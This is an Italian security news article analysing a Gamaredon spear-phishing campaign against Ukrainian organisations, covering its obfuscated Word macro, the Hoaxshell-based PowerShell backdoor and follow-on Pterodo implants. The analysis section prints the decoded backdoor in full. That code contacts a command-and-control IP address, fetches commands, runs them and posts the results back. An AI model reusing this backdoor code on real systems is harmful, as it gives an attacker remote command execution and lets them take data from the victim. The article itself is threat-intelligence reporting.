Redazione RHC : 19 Febbraio 2023 09:00
Autore: Gianluca Tiepolo
Gamaredon è un APT sponsorizzato dallo stato russo attivo almeno dal 2013. Si ritiene che il gruppo sia responsabile di una serie di attacchi informatici contro obiettivi ucraini, tra cui organizzazioni militari, governative e infrastrutture critiche.
Il Servizio di sicurezza dell’Ucraina classifica il gruppo come APT (Advanced Persistent Threat) e lo identifica inequivocabilmente come un’unità strutturale appositamente creata dal Servizio federale di sicurezza (FSB) della Federazione Russa, il cui compito è di svolgere attività di intelligence e cyber spionaggio contro target ucraini.
 Sponsorizza la prossima Red Hot Cyber Conference!Il giorno Lunedì 18 maggio e martedì 19 maggio 2026 9 maggio 2026, presso il teatro Italia di Roma (a due passi dalla stazione termini e dalla metro B di Piazza Bologna), si terrà la V edizione della la RHC Conference. Si tratta dell’appuntamento annuale gratuito, creato dalla community di RHC, per far accrescere l’interesse verso le tecnologie digitali, l’innovazione digitale e la consapevolezza del rischio informatico. Se sei interessato a sponsorizzare l'evento e a rendere la tua azienda protagonista del più grande evento della Cybersecurity Italiana, non perdere questa opportunità. E ricorda che assieme alla sponsorizzazione della conferenza, incluso nel prezzo, avrai un pacchetto di Branding sul sito di Red Hot Cyber composto da Banner più un numero di articoli che saranno ospitati all'interno del nostro portale. Quindi cosa stai aspettando? Scrivici subito a [email protected] per maggiori informazioni e per accedere al programma sponsor e al media Kit di Red Hot Cyber.
Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì. |
Le tattiche, le tecniche e le procedure (TTP) del gruppo sono state ben documentate e spesso coinvolgono l’uso di ingegneria sociale, spear-phishing e malware, tra cui backdoor e strumenti di credential dumping.
Si ritiene che l’obiettivo ultimo del gruppo siano le operazioni di cyber spionaggio.
Di seguito è riportato un elenco di attacchi attribuiti al gruppo Gamaredon nel corso degli anni:
A gennaio 2023 sono stati identificati numerosi attacchi offensivi contro obiettivi in Ucraina riconducibili a Gamaredon, come documentato da Symantec, BlackBerry Research e Trellix. Nel corso delle ultime settimane, è stata identificata una nuova campagna – fino ad ora sconosciuta – condotta da Gamaredon, che ha preso di mira diverse organizzazioni ucraine.
La campagna, parte da un’operazione di spionaggio ancora in corso e mira a diffondere malware sulle macchine delle vittime ucraine e fa ampio uso di script PowerShell e VBScript (VBS) offuscati come parte della catena di infezione.
Il malware distribuito in questa campagna è una “WebShell” che include funzionalità che permettono l’esecuzione di comandi remoti da parte di un attaccante.
Il vettore di attacco consiste in una e-mail di spear-phishing con un allegato: una volta aperto l’allegato, il sistema della vittima verrà compromesso attraverso l’installazione di una web shell.
Come nelle loro precedenti campagne, Gamaredon effettua un targeting estremamente mirato delle vittime. Le mail esca imitano documenti ufficiali di reali organizzazioni governative ucraine, meticolosamente progettate per ingannare persone che hanno ragioni legittime per interagire con tali organizzazioni.
Di seguito un elenco di file associati alla campagna:
Il naming è coerente con altre campagne di Gamaredon, in cui i file malevoli sono composti da una parola che inizia con la lettera “d” e alcuni sono composti da due parole separate dal simbolo “-“.
Una volta aperto, il documento Word esegue una macro offuscata chiamata “xdm“. Questo script PowerShell decodifica ed esegue un secondo script PowerShell (anch’esso offuscato), che comunica con il server di comando e controllo.
Il primo livello di offuscamento viene ottenuto invertendo il payload codificato in formato Base64. Una volta decodificato il primo payload, il malware rivela un secondo livello di offuscamento ottenuto tramite una serie di tecniche, come la codifica di stringhe, l’offuscamento di comandi e argomenti, la rinominazione di variabili e il packing del codice.
Una volta decodificato, viene eseguito il seguente codice, che rappresenta il cuore della web shell:
powershell -command Start-Process $PSHOME\powershell.exe
-ArgumentList {$s='141.8.197.42:4000';$i='17e9c023-7c9d6f61-48eb357e';
$p='http://';
$v=Invoke-RestMethod -UseBasicParsing -Uri
$p$s/17e9c023/$env:COMPUTERNAME/$env:USERNAME
-Headers @{"Authorization"=$i};
for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/7c9d6f61
-Headers @{"Authorization"=$i});
if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop
-ErrorVariable e;
$r=Out-String -InputObject $r;
$x=Invoke-RestMethod -Uri $p$s/48eb357e -Method POST
-Headers @{"Authorization"=$i}
-Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')}
sleep 0.8}}
-WindowStyle Hidden
L’analisi del codice ha evidenziato delle enormi similitudini con il codice di Hoaxshell, un progetto open-source che implementa una backdoor scritta in PowerShell.
Tale progetto ha raggiunto una discreta popolarità in quanto include tecniche di oscuramento integrate e non viene rilevato dai principali software antivirus.
Probabilmente, questa è la ragione per cui il gruppo Gamaredon ha abusato del progetto in questa campagna; infatti, il documento Word con il payload malevolo basato su Hoaxshell (con alcune modifiche aggiunte da Gamaredon) è stato in grado di bypassare completamente alcune delle soluzioni antivirus più popolari, tra cui Microsoft Defender, Kaspersky, McAfee e SentinelOne.
In questa campagna, una volta ottenuto l’accesso iniziale alla rete della vittima tramite il documento Word malevolo, il gruppo Gamaredon è stato osservato eseguire comandi di ricognizione per poi installare la backdoor “Pterodo” per mantenere la persistenza sul sistema.
Una volta che il gruppo ha ottenuto la persistenza sul bersaglio, gli attaccanti procedono al download di un’altra variante della loro backdoor “Pterodo” e iniziano ad eseguire script aggiuntivi e creare attività pianificate su Windows per essere eseguite periodicamente.
Il fatto che Gamaredon abbia sfruttato un progetto open-source come Hoaxshell non sorprende: il gruppo è stato osservato utilizzare strumenti liberamente disponibili come il Remote Access Trojan (RAT) chiamato “njRAT”, lo strumento di desktop remoto “UltraVNC” e lo scanner di rete “Masscan“.
Questi strumenti off-the-shelf forniscono al gruppo funzionalità di base, come la capacità di controllare a distanza i sistemi compromessi o di scansionare per individuare bersagli vulnerabili.
Gamaredon ha sfruttato esclusivamente ISP russi per i server di comando e controllo in questa campagna, la maggior parte dei quali forniti dalle società IP Server LLC, Hosting technology LTD, TimeWeb LLC e SprintHost LLC.RU.
Nonostante sia stato più volte oggetto di attenzione da parte dei ricercatori di sicurezza, il gruppo Gamaredon persiste nell’utilizzare le stesse tecniche semplicistiche, spesso basandosi su strumenti facilmente disponibili (come Hoaxshell), anche riutilizzando il codice esistente in nuovi attacchi.
Nonostante ciò, il gruppo ha ottenuto notevoli successi nelle loro operazioni e continua a rappresentare una significativa minaccia informatica per l’Ucraina. La catena di attacco del gruppo è caratterizzata dall’ampio utilizzo di documenti Office malevoli, iniezione di template Office malevoli, sfruttamento del protocollo WMI e macro VBA dinamiche.
Dato il particolare focus del gruppo sulle organizzazioni ucraine e l’attuale clima geopolitico, è altamente probabile che Gamaredon continuerà l’attività offensiva nei confronti di questa regione.
RedazionePer tre giorni consecutivi, dal 19 al 22 ottobre, il Comune di Caponago è rimasto isolato dal web a causa di un insolito incidente: una volpe è finita in un pozzetto della rete telefonica, danneggia...
Un’allerta globale è stata lanciata dalla Cybersecurity and Infrastructure Security Agency (CISA) degli Stati Uniti, riguardante lo sfruttamento attivo di una falla critica di esecuzione di codice ...
Lunedì 20 ottobre, Channel 4 ha trasmesso un documentario completo condotto da un presentatore televisivo creativo integralmente dall’intelligenza artificiale. “Non sono reale. Per la prima volta...
L’ecosistema del cybercrimine russo è entrato in una fase di profonda mutazione, innescata da una combinazione di fattori: una pressione internazionale senza precedenti da parte delle forze dell’...
I ricercatori della sicurezza hanno scoperto delle vulnerabilità in un sito web della FIA che conteneva informazioni personali sensibili e documenti relativi ai piloti, tra cui il campione del mondo ...
